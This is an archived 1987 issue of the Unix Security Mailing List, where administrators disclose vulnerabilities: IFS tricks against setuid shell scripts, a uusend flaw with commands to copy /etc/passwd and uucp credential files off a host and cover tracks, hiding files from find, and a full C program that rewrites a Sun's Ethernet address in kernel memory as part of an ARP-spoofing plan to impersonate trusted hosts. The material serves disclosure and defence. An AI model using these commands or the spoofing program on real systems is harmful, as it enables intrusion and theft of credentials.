The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #31 1987-05-09 (1 file, 7648 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/031.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Sat, 9 May 87 21:12:54 EDT
Subject: # 31 - Security Mailing List

-------

Topics:
        Admin and new people on the list
        /bin/sh scripts
        login shell scripts and SysV
        crypt(3) - cracked?
        4.2BSD uusend bug
        Hiding Things from /bin/find
        uusend
        Fun with ethernet...
        Coming in mod.sources
        Re: Security Mailing List, # 25
        Re: Security Mailing List, # 25

----------------------------------------------------------------------------

Editor's corner.

It appears that the duplication problem is solved, now I need to clear
out the backlog of messages since mid-March.  Apparently some of the
issues didn't make it everywhere -- #28 and #29 primarily.  If you didn't
receive these let me know; if there are enough requests I'll repost them.


Newcomers to the list since last issue:
        Richard Johnson (uci-unix-security@ucivax)
        Ira Chayut (ira@slovax)
        Karl Bunch (karl@tts)
        Pam Vojtas (pvojtas@gould)
        Lyndon Nerenberg (lyndon@ncc)
        Robert Cherry (cherry@anb02)
        Gary Rosenblum (rosenblg@cmcl2)
        Larry Lippman (larry@kitty)
        Rayan Zachariassen (rayan@ai.toronto.edu)
        David Watson (david@ci-dandelion)
        Evelyn C. Leeper (ecl@mtgzy)
        Wolfgang Wetz (wwtz@cgcha)
        Patrick Landry (pml@usl)

----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 15:28:41 PST
From: chongo@amdahl.UUCP (Landon Curt Noll)
Subject: /bin/sh scripts

One method to attacking a shell script is by playing with the IFS
environment variable.  For folks who do not know about $IFS, it
is used by /bin/sh (and /bin/ksh) to hold field (word) separators.
By default, IFS=<space><tab>.

Let us say someone has the shell script:

        : shell scripts are not secure even when you set $PATH
        PATH=/bin:/usr/bin
        echo curds and whey

One can execute it via:

        IFS="P<space><tab>" PATH=. shell_script

Note that the 'P' of PATH is treated as if it were a space!  This the line
becomes: ATH=/bin:/usr/bin allowing a path of '.' to be imported.  Even
if someone were to do:

        IFS="<tab><space>"   # stop this IFS stuff right away
        : shell scripts can not even set IFS in a secure way
        echo yummo

One can execute it via:

        IFS="IP<tab><space:e" PATH="." shell_script

Note that the 'I' in IFS gets ignored before the script has a chance to
set it correctly!  The 'P' in IFS will enable the $PATH of '.' to be
imported.  Note that the ':e' in IFS turns the second line into:

        <delim> <delim> sh <delim> ll <delim> scripts ...

If I place the Trojan Horse 'sh' in the directory '.', I have got them!

Woe to the one who makes a shell script setuid/setgid!

---

Suggested work-a-round:

A:      Never trust a shell script to be secure.

B:      Write a simple program that controls which environment variables
        get passwd to the shell script.  That is, it controls vars such as
        PATH, IFS, SHACCT, HOME, SHELL, USER, ...  Make this program setuid 
        to user 'foobie' and place the shell script in a SECURE directory
        that is ONLY accessible by the user 'foobie'.

chongo <hack-hack> /\__/\


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 15:41:32 PST
From: chongo@amdahl.UUCP (Landon Curt Noll)
Subject: login shell scripts and SysV

A large number of System V systems have the following security problem in
relation to the use of shell scripts as login shells.  Sys V allows
one to set environment variables in the login line:

        login: chongo TERM=cit50+ CURDS=whey

One can exploit the shell script problem with $IFS (see my previous article
on this matter) on the login line:

        login: script IFS=P<tab><space>I

where user 'script' has a login shell that is a /bin/sh shell script.
Most every Sys V does not allow PATH to be set at login time, but
by adding many characters to IFS, something is bound to fall out. 

chongo <munch-hack> /\o=/\


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 18:43:24 est
From: seismo!gatech!hubcap!wstef (W. Gregg Stefancik)
Subject: crypt(3) - cracked?

        I remember hearing at either USENIX or UNIFOURM that programs exist
which unencrypt passwords encrypted by crypt(3).  Is this true or merely a
rumor?

Gregg Stefancik
Clemson University
gatech!hubcap!wstef


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 20:16:44 pst
From: joe@auspyr.uucp (Joe Angelo)
Subject: 4.2BSD uusend bug


I have only seen one mention of this bug in the Security-Mail-List
archives and have reported it with bugs@ucbvax and a number of major
USENET site adminstrators.  I'd like to ``re-open'' the issue to
bring it back into the spot light.  ... I first noticed the problem
about three years ago; give or take.


Problem:
        on 4.2BSD, Ultrix, and other Berkely-style Unix's, /usr/bin/uusend
        should not exist.  Reasons:
                1) /usr/bin/uusend is mode 6755, owner uucp, group daemon
                on UCB distribution tapes.
                2) /usr/bin/uusend does not adequately check the USERFILE
                file nor file permissions.

Effects:
        /usr/bin/uusend will allow either the transmission of or a local
        copy of UUCP owned files or other files; such as /usr/lib/uucp/L.sys
        or /etc/passwd.

Repeated-by:
        If uusend is mode 6755 or 4755 and owned by UUCP, then local
        users can issue the command:

                uusend -m 666 /usr/lib/uucp/L.sys /usr/tmp/public

        If uusend/ruusend is an executable command in L.cmds file 
        (regardless of weather or not it is set[ug]id), then remote
        user can:

                #queue remote command to get L.sys file
                uux target!uusend -m 666 /usr/lib/uucp/L.sys /tmp/public
                #local sleep to allow remote execution of above
                #now call back and get L.sys file
                uucp target!/tmp/public local!/tmp/public
                #erase our tracks -- tip toe threw the tulips with me
                uucp local!/tmp/junkfile target!/tmp/public

                (above also works with /etc/passwd and any other uucp-readable
                file -- but who wants the entire network to read them!?!!$!@&)

Everyone knows what the implications are if a major node's L.sys file
goes out -- As they say, "All I need is a MicroVAX and /bin/hostname".
Please don't think I'm bragging, but to help demonstrate the problem, 
I will say that I have personally obtained the L.sys/L.cmds/L.dialcodes/
L.devices/password/etc files for many major nodes (yes, I contacted the
administrators!) via the above method. Since there also exist "phone-phreaks"
out thar, some sites even place their watts/sprint numbers in the L.dialcodes
file. Yuk.

Testing this isn't really fun and finding all the nodes that allow this
is a major task. I do have a rather large list of sites that aren't
protected from the above and *MAY* once again mention the problem to
them -- but last time around, of the 210 messages I mailed out, only
3, yes, three, administrators said "thanx!"; and I know how to send
mail! Sigh.  Come on guys, get serious!  I don't want MY system security
compromised because we have a NEEDED mail connection!

Recommended-fixes:
        Trash uusend or make it setuid/setgid to some DEAD account and
        protect the /usr/lib/uucp files. (But your password file may still
        go out unless you just remove it all together -- mode 0000 should do)
        Anyways, uusend is SUPPOSED to be used for multi-node copies;
        but I've never ONCE seen it do that nor have I never really 
        seen a remote-execution-request for uusend. So why is it there!??!

--
"No matter      Joe Angelo, Sr. Sys. Engineer @ Austec, Inc., San Jose, CA.
where you go,   ARPA: aussjo!joe@lll-tis-b.arpa       PHONE: [408] 279-5533
there you       UUCP: {sdencore,necntc,cbosgd,amdahl,ptsfa,dana}!aussjo!joe
are ..."        UUCP: {styx,imagen,dlb,gould,sci,altnet}!auspyr!joe



----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 20:26:09 pst
From: joe@auspyr.uucp (Joe Angelo)
Subject: Hiding Things from /bin/find


I have found a very easy way to hide things from cron-/bin/find daemons.
I'm not sure what systems this problem exists on, I think it's on all of them...

But linking "somefile" to "." or ".." causes /bin/find to bomb out in an
infinite search loop -- or core dump; thus, rendering security-searchers
useless.

Repeated-by:

        /etc/link file .
        /etc/link filedotdot ..
        find . -print

Completely hidden and hideous; ./setuidshell can go here.
In the worse case, some version of /etc/link allow garbage file names
to be used. So, "/etc/link .^A^B^C ." really isn't easy to spot.

Perhaps I'll compile a list of OS's where this exists.
Regardless of weather or not /etc/link is mode 755, the link() system
call is the real source of the problem in that it allows this to happen;
only mkdir() should really do this. ... but then again link() has come in
handy when repairing broken directories.  Who is to say what the
trade-offs are?!??

--
"No matter      Joe Angelo, Sr. Sys. Engineer @ Austec, Inc., San Jose, CA.
where you go,   ARPA: aussjo!joe@lll-tis-b.arpa       PHONE: [408] 279-5533
there you       UUCP: {sdencore,necntc,cbosgd,amdahl,ptsfa,dana}!aussjo!joe
are ..."        UUCP: {styx,imagen,dlb,gould,sci,altnet}!auspyr!joe



----------------------------------------------------------------------------

Date: Tue, 10 Mar 87 07:28:08 mst
From: aburt (Andrew Burt)
Subject: uusend

I once saw uusend suid root.  Needless to say it was easy to add to the
password file and become root oneself.  uudecode should be checked for
this too.

But why make uusend suid anything?  Admittedly nobody used it on isis
when I had it allowed in L.cmds, but it is not suid on isis and I never
saw any problems with that.  Nor did I change it from the distribution
tape, so I imagine all Pyramids have uusend non-suid.

In looking at the source to see if there was any obvious reason why it
should be suid (such as a comment stating why :-) I saw no such reason.
HOWEVER, I did see a half-hearted security attempt doomed to failure:
There is a check that the prefix of the destination is not /usr/lib/uucp;
if it is, it denies the copy.  However, it just does strncmp(), so if
I did "uusend myL.sys site!site!/usr/lib/../lib/uucp/L.sys" it wouldn't
catch that.  I could then send them an L.sys that makes a long distance
uucp call I might have been interested in but didn't want to pay for.
Or one could just maliciously destroy another sites uucp files.

If this is as pervasive a problem as maintained, perhaps an injunction
against its use should be posted to news.sysadmin or such.

----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 18:51:56 MST
From: seismo!hc.dspo.gov!hi!josh (Josh Siegel)
Subject: Fun with ethernet...


One of the questions we were asking ourselves here at the
University of New Mexico is how safe are we from other
roots.  With the rash of workstations,  almost anybody can
get root on a machine.  How does this effect the rest us
who have to deal with operating systems that must be keeped
up and running or little men with large guns come and start
shooting at our feet (:-)?

The following is a program that does the following.  It
does a dive into kmem and writes over the systems 
impression of it's own hardware ethernet number.  This
means the following:

        1)  I can make my machine be any machine on the
                ethernet.

        2)  I can send out ARP packets and change the
                routing tables on other peoples machines.

        3)  If I bring down a machine,  I can replace the
                machine before he am cleared from the ARP tables and
                not be forced to deal with changing host tables.

Implications?

        Machine A' has final exam.  Machine A' only trusts
        Machine B'.  User C has root on Machine C'

        1) Send ARP table entries to machine B' with
           all of the machines at address 9:9:9:9:9:9

        2) Change hardware address on machine C' to B'

        3) rlogin to choice account.

        4) FTP files out

        5) Change the Hardware address back

        6) Change the ARP tables back on machine B'

Do this late at night.  You can make the accounting say
anything you wish.  Sleep well...(Hay! If I had done this,
would I be doing so well in my classes??? :-)

                        --Josh Siegel

P.S.  While the program currently is only configured for SUN 3.2,
        we have used the same effect on a Microvax, IBM PC,
        and several other little toys we have.

----
/* The following little program is useful for changing your machines
   impression of it's own ethernet number. */


/* The offsets are how many bytes I wish to offset into the ethernet
   structure.  We figured out the 144 figure by dumping the section
   of memory and looking at it.  We don't have source for Suns
   so this was the only way.
*/

#define SUN32 144

#define OFFSET SUN32

#include <stdio.h>
#include <sys/file.h>
#include <nlist.h>
#include <sys/types.h>

/* Things we'll need out of the system name list */

struct nlist    nl[] = {
#define X_ETHER         0
                        {"_ie_softc"},
                        {NULL}
};

char           *Kbin = "/vmunix";       /* Sys name list */
char           *Kmemfile = "/dev/kmem"; /* V to phys mem device */

int             Kmem;           /* Fildes for /dev/Kmem */

unsigned char   iebuff[6]; /* buffer containing machine ethernet id */
unsigned int    patch[6]; /* storage area for scanf to store its results */

main()
{
        char            buff[255]; 

        if ((Kmem = open(Kmemfile, O_RDWR)) < 0) {
                fprintf(stderr, "Cannot open %s\n", Kmemfile);
                fprintf(stderr, "You must be root to do this command. \n");
                exit(1);
        }

        nlist(Kbin, nl); /* Get the symbols in nl from the kernel */

        if (nl[0].n_value == 0) {
                fprintf(stderr, "Cannot get name list from %s\n", Kbin);
                exit(1);
        }


        if (kread(iebuff, 6, /* Read the hardware address */
                  (off_t) nl[X_ETHER].n_value + OFFSET) < 0) {  /* Get addr, proc tab */
                perror("ether");
                exit(1);
        }

        printf("I am = %x:%x:%x:%x:%x:%x\n", iebuff[0], iebuff[1], iebuff[2], iebuff[3], iebuff[4], iebuff[5]);

        printf("Please type in the address with spaces instead of :'s\n> ");
        gets(buff);

/* Let them type in the address they wish to be */

looper:
        if (sscanf(buff, "%x %x %x %x %x %x", &patch[0], &patch[1], &patch[2], &patch[3], &patch[4], &patch[5]) != 6) {
                printf("I am sorry... But I did not get all of that..\n");
                goto looper;
        }
        iebuff[0] = patch[0]; /* convert from integers to characters */
        iebuff[1] = patch[1]; 
        iebuff[2] = patch[2];
        iebuff[3] = patch[3];
        iebuff[4] = patch[4];
        iebuff[5] = patch[5];

        printf("I will be = %x:%x:%x:%x:%x:%x\n", iebuff[0], iebuff[1], iebuff[2], iebuff[3], iebuff[4], iebuff[5]); /* Friendly message */


/* WARNING MESSAGE!!! Why do I do this? */


        printf("Warning:\n");
        printf("  This program will crash ANY MACHINE that counts on the\n");
        printf("network working correctly.  In other words,  if you use\n");
        printf("NFS or RFS or have a Network disk... DONT DO THIS!\n\n");
        printf("Are you sure you wish to do this? (y/n) :");
        gets(buff);
        if (buff[0] != 'y')
                exit(0);

        if (kwrite(iebuff, 6, /* Write the stuff out! This is it boys */
                   (off_t) nl[X_ETHER].n_value + SUN32) < 0) {  /* Get addr, proc tab */
                /* If you get this message... SOMETHINGS WRONG!!! */
                printf("Could not write the kernel! Giggle! Giggle!\n");
                exit(1);
        }
}

/* Read a range of memory from the kernel */

kread(buf, nbytes, addr)
        char           *buf;
        int             nbytes;
        off_t           addr;
{
        extern int      Kmem;

        if (lseek(Kmem, (long) addr, 0) == -1)
                return (-1);
        return (read(Kmem, buf, nbytes));
}

/* Write it back out */

kwrite(buf, nbytes, addr)
        char           *buf;
        int             nbytes;
        off_t           addr;
{
        extern int      Kmem;

        if (lseek(Kmem, (long) addr, 0) == -1)
                return (-1);
        return (write(Kmem, buf, nbytes));
}

---



----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 15:19:51 est
From: rs@mirror.TMC.COM (Rich Salz)
Subject: Coming in mod.sources

In two or three weeks I will be posting Bob Baldwin's
"crypt-breaker's workbench."

This is an interactive, full-screen program that makes it
*very* easy to decrypt text that has been encrypted
with the Unix crypt command, or other methods.  I will
also be posting a public-domain version of DES.

A careful reading of the relevant relevant law (thanks to
references provided by John Gilmore, hoptoad!gnu) leads me
to believe that it is legal for me to do this.

        /rich $alz


----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 10:28:02 pst
From: Russell Brand <seismo!lll-crg!brand>
Subject: Re:  Security Mailing List, # 25

did you get my set of notes asking if  anyone wanted a copy of my
COPCOM notes?

[No, I don't believe I did.  Are they machine readable, e.g., would it
be feasible to post them?]

----------------------------------------------------------------------------

From: sdcsvax!ics.UCSD.EDU!wallen (Mark Wallen)
Date: 11 March 1987 2100-PST (Wednesday)
Subject: Re: Security Mailing List, # 25

Hi,

[I'm a member of "netsecurity" at sdcsvax.ucsd.edu]

I have a question for the list members: I recently read
(in unix-wizards?, sun-spots?) that it was easy
to get access to any NFS exported system if you
had root privileges on a system on the net.  Since
I administer a 4.3+NFS vax and several suns, I'm
curious to know how vulnerable we are on the
general campus net.

Thanks

Mark Wallen

Institute for Cognitive Science
UC San Diego

wallen@sdcvax.ucsd.edu
wallen@nprdc.arpa



----------------------------------------------------------------------------

                        The UNIX Security Mailing List

                 Ignore the headers on this list and mail to:
                  ...!hao!isis!security (mail for the list).
                  ...!hao!isis!sec-request (administrativia).

END OF DOCUMENT